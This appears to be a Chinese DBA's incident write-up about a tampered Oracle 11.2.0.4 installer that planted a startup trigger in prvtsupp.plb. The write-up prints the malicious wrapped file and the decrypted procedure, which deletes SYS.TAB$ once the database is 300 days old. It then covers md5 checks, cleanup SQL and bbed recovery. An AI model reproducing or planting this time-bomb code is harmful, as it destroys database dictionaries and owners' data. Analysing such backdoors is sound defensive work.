ORA-600 16703 SYS.TAB$表被删除
记录一下，前几天一个测试库
11.2.0.4.0 版本的RAC，再重启后，发现启动失败，
[oracle@rac03 trace]$ tail -fn 100 alert_SCM1.log Fri Jan 29 13:58:18 2021 Errors in file /u01/app/oracle/diag/rdbms/scm/SCM1/trace/SCM1_smon_3933.trc: ORA-00604: error occurred at recursive SQL level 1 ORA-00957: duplicate column name
数据库启动失败，再网上查询，发现有很多遇到此类错误。
p13390677_112040_Linux-x86-64_1of7.zip 安装包被恶意篡改
$ORACLE_HOME/rdbms/admin/prvtsupp.plb 文件被修改，添加了触发器
[oracle@rac03 trace]$ ll $ORACLE_HOME/rdbms/admin/prvtsupp.plb -rw-r--r-- 1 oracle oinstall 1756 Jan 29 09:29 /u01/app/oracle/product/11.2.0/db_1/rdbms/admin/prvtsupp.plb [oracle@rac03 trace]$ cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 1 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M= / create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped a000000 369 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd 7 166 17d L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7 GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD lUETCD2WIxfg3w== / PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER create or replace trigger DBMS_SUPPORT_DBMONITOR after startup on database declare begin DBMS_SUPPORT_DBMONITORP; end; /
调用的存储过程，解密出来
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=300) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
END IF;
END;
数据库实例创建时间 >300天，然后 重启的时候。会删除系统表SYS.TAB$，导致再下一次启动的时候，数据库启动错误。
问题发现
md5 查看下载的安装包(因为11.2.0.4 安装包需要MOS账号，所以大多数测试情况都会去网上下载安装包）
[root@rac03 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 2ca21ca2f45a9878bdc7134d8e124173 p13390677_112040_Linux-x86-64_1of7.zip ###问题包 [root@rac03 opt]# md5sum p13390677_112040_Linux-x86-64_2of7.zip 67ba1e68a4f581b305885114768443d3 p13390677_112040_Linux-x86-64_2of7.zip [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 1616f61789891a56eafd40de79f58f28 p13390677_112040_Linux-x86-64_1of7.zip ###正确的值 --------- [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 1616f61789891a56eafd40de79f58f28 p13390677_112040_Linux-x86-64_1of7.zip [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_2of7.zip 67ba1e68a4f581b305885114768443d3 p13390677_112040_Linux-x86-64_2of7.zip
如果此时发现问题，不要重启数据库，直接恢复表
SQL> conn /as sysdba
SQL> select status from v$instance;
OPEN
SQL> select 'drop '||object_type||' '||owner||'.'||object_name||';' from dba_objects where object_name in('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP');
drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
SQL> select object_name from dba_objects where object_name like 'ORACHK%'; #如果有值，则恢复数据
SQL> select * from sys.tab$;
SQL> insert into tab$ select * from ORACHK****;
SQL> commit;
SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
SQL> SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME LIKE 'DBMS_%_INTERNAL%'
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||A.OBJECT_NAME||'";' FROM DBA_PROCEDURES A WHERE A.OBJECT_NAME LIKE 'DBMS_%_INTERNAL% '
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||OBJECT_NAME||'";' FROM DBA_OBJECTS WHERE OBJECT_NAME ='DBMS_SUPPORT_DBMONITORP'
UNION ALL
SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME ='DBMS_SUPPORT_DBMONITOR'
;
no rows selected
如果是再启动数据库的时候发现次错误。那么就需要使用特殊方法恢复 表。
参考
https://mp.weixin.qq.com/s/Iy6h1V28arEj22xKCA3mLw https://www.cnblogs.com/lfree/p/10441420.html http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html https://www.xifenfei.com/2017/07/oracle-software-malicious-injection.html
大体思路是，使用 bbed 恢复删除的表 sys.tab$ ，找一个同版本的正常的表的数据文件，然后拷贝正常的block到数据文件。
如果是测试环境，可以使用bbed来进行测试，恢复难点，tab$ 表不是普通的堆表，tab$是CLUSTER C_OBJ#的一个表。
如果是线上环境，最好通过专业的厂家来进行数据恢复。这个后门植入 毕竟还是只删除了 一个 系统表，其他表的数据正常。
如果有备份，可以恢复到备份的时候。新创建实例，然后恢复。（这里提示，单个实例之间互相不影响，数据库软件可以继续创建新实例）。
正常的文件
[oracle@rac03 tmp]$ cp prvtsupp.plb $ORACLE_HOME/rdbms/admin/prvtsupp.plb [oracle@rac03 tmp]$ cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb create or replace package body dbms_support wrapped a000000 1 abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b a60 422 xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8 bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF 2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3 3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1 9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0 eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M= /
[oracle@rac01 tmp]$ oerr ora 1403 01403, 00000, "no data found" // *Cause: No data was found from the objects. // *Action: There was no data from the objects which may be due to end of fetch. SQL> select * from v$version; BANNER -------------------------------------------------------------------------------- Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production PL/SQL Release 11.2.0.4.0 - Production CORE 11.2.0.4.0 Production TNS for Linux: Version 11.2.0.4.0 - Production NLSRTL Version 11.2.0.4.0 - Production SQL> select object_name from dba_objects where object_type='TRIGGER' and owner='SYS'; OBJECT_NAME -------------------------------------------------------------------------------------------------------------------------------- LOGMNRGGC_TRIGGER AW_TRUNC_TRG AW_REN_TRG AW_DROP_TRG CDC_ALTER_CTABLE_BEFORE CDC_CREATE_CTABLE_AFTER CDC_CREATE_CTABLE_BEFORE CDC_DROP_CTABLE_BEFORE XDB_PI_TRIG DBMS_SUPPORT_DBMONITOR 10 rows selected. SQL> select 'drop '||object_type||' '||owner||'.'||object_name||';' from dba_objects where object_name in('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP'); 'DROP'||OBJECT_TYPE||''||OWNER||'.'||OBJECT_NAME||';' ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR; drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP; SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR; Trigger dropped. SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP; Procedure dropped. SQL> select object_name from dba_objects where object_name like 'ORACHK%'; no rows selected SQL> select count(*) from sys.tab$; COUNT(*) ---------- 2995
温馨提示
各位一定要从官方途径下载oracle安装介质,如果是从其他互联网途径下载一定要验证md5,
确保文件没有被人恶意篡改,造成无可挽回的损坏.如果真的不幸遇到这类问题,请保护现场联系专业人员恢复。
可以通过使用bbed对tab$表数据数据进行恢复实现数据库正常启动,实现数据0丢失。
